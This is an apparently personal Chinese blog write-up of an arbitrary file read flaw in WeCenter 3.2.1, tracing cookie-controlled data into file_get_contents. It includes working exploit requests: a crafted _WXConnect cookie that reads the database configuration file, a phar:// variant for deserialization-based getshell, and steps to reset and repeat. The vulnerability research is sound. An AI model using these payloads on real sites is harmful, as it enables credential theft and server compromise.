很久没做审计了,博客都长草了,发个一年前审Wecenter发现的任意文件读取漏洞吧~

审的时候是3.2.1版本,现在官网不能直接下,但是github上的也差不多

漏洞点

漏洞发生在models\openid\weixin\weixin.php:254行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function associate_avatar($uid, $headimgurl)
{
if ($headimgurl)
{
if (!$user_info = $this->model('account')->get_user_info_by_uid($uid))
{
return false;
}
if ($user_info['avatar_file'])
{
return false;
}
if ($avatar_stream = file_get_contents($headimgurl))
{
$avatar_location = get_setting('upload_dir') . '/avatar/' . $this->model('account')->get_avatar($uid, '', 1) . $this->model('account')->get_avatar($uid, '', 2);
$avatar_dir = str_replace(basename($avatar_location), '', $avatar_location);
if ( ! is_dir($avatar_dir))
{
make_dir($avatar_dir);
}
if (@file_put_contents($avatar_location, $avatar_stream)) //bug

上面的代码中,读取了$headimgurl中的文件内容,然后将这部分内容写进了用户头像,jpg文件!

全局搜索associate_avatar的调用,在同文件models\openid\weixin\weixin.php:180行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public function bind_account($access_user, $access_token, $uid, $is_ajax = false)
{
if (! $access_user['nickname'])
{
//退出操作
}

if ($openid_info = $this->get_user_info_by_uid($uid))
{
//退出操作
}

$this->insert('users_weixin', array(
'uid' => intval($uid),
'openid' => $access_token['openid'],
'expires_in' => (time() + $access_token['expires_in']),
'access_token' => $access_token['access_token'],
'refresh_token' => $access_token['refresh_token'],
'scope' => $access_token['scope'],
'headimgurl' => $access_user['headimgurl'],
'nickname' => $access_user['nickname'],
'sex' => $access_user['sex'],
'province' => $access_user['province'],
'city' => $access_user['city'],
'country' => $access_user['country'],
'add_time' => time()
));
$this->associate_avatar($uid, $access_user['headimgurl']); //bug
$this->model('account')->associate_remote_avatar($uid, $access_user['headimgurl']); //bug2
return true;
}

bind_account函数最后会调用漏洞函数,以及另外一个相同漏洞的函数//bug2,这里不贴代码了

继续搜索调用点,在手机应用文件app\m\weixin.php:240行

1
2
3
4
5
6
7
8
9
public function binding_action()
{
if ($_COOKIE[G_COOKIE_PREFIX . '_WXConnect'])
{
$WXConnect = json_decode($_COOKIE[G_COOKIE_PREFIX . '_WXConnect'], true);
}
if ($WXConnect['access_token']['openid'])
{
$this->model('openid_weixin_weixin')->bind_account($WXConnect['access_user'], $WXConnect['access_token'], $this->user_id);

到了这里,可以看到我们漏洞点的数据来源与$_COOKIE中的一个参数$_COOKIE[G_COOKIE_PREFIX . '_WXConnect'],可控

倒回去梳理一下,中间过程仅有一些判断,只需要满足:

  1. $WXConnect['access_token']['openid']存在
  2. $access_user['nickname']存在
  3. $openid_info = $this->get_user_info_by_uid($uid)为False
  4. $user_info = $this->model('account')->get_user_info_by_uid($uid)为True,且$user_info['avatar_file']为False

第1、2点只需要在cookie中传入对应的变量即可

第3点判断$openid_info是否为空,而未绑定微信则查询默认为空,即False

第4点说明需要用户登录,且数据库中头像为空

利用

  1. 注册账户,登录后无视邮箱验证
  2. 构造payload读取数据库配置文件,其中XXX前缀查看其余cookie可得
    1
    2
    3
    4
    5
    6
    GET
    /?/m/weixin/binding/

    XXX__Session=...;
    XXX__user_login=...;
    XXX__WXConnect={"access_token":{"openid":1},"access_user":{"nickname":"aaa","openid":1,"headimgurl":"system/config/database.php"}};
    执行后会报错返回头像路径

请求头像路径查看

补充

另外由于进行上述利用绑定微信后,会将绑定信息写入数据库,并更新数据库用户头像,也就是说会因为第3、4点判断限制,无法继续利用

解决办法就是通过访问如下链接进行解绑操作
http://127.0.0.1/?/account/ajax/unbinding_weixin/

当然还可以再注册账户~

20200117补充

某位师傅在先知论坛发表了一篇WeCenter v3.3.4的getshell,看了一下发现实际也是利用这里的,orz

方法就是,上传一个phar包,然后发送包触发发序列化

1
2
3
4
5
6
GET
/?/m/weixin/binding/

XXX__Session=...;
XXX__user_login=...;
XXX__WXConnect={"access_token":{"openid":1},"access_user":{"nickname":"aaa","openid":1,"headimgurl":"phar://filepath"}};

而触发的漏洞点则是利用了很久之前的一个反序列点执行任意sql语句的漏洞,触发点同样也是这里,总之这里的代码写的太随便了

Reference

https://xz.aliyun.com/t/7077
https://www.leavesongs.com/PENETRATION/wecenter-unserialize-arbitrary-sql-execute.html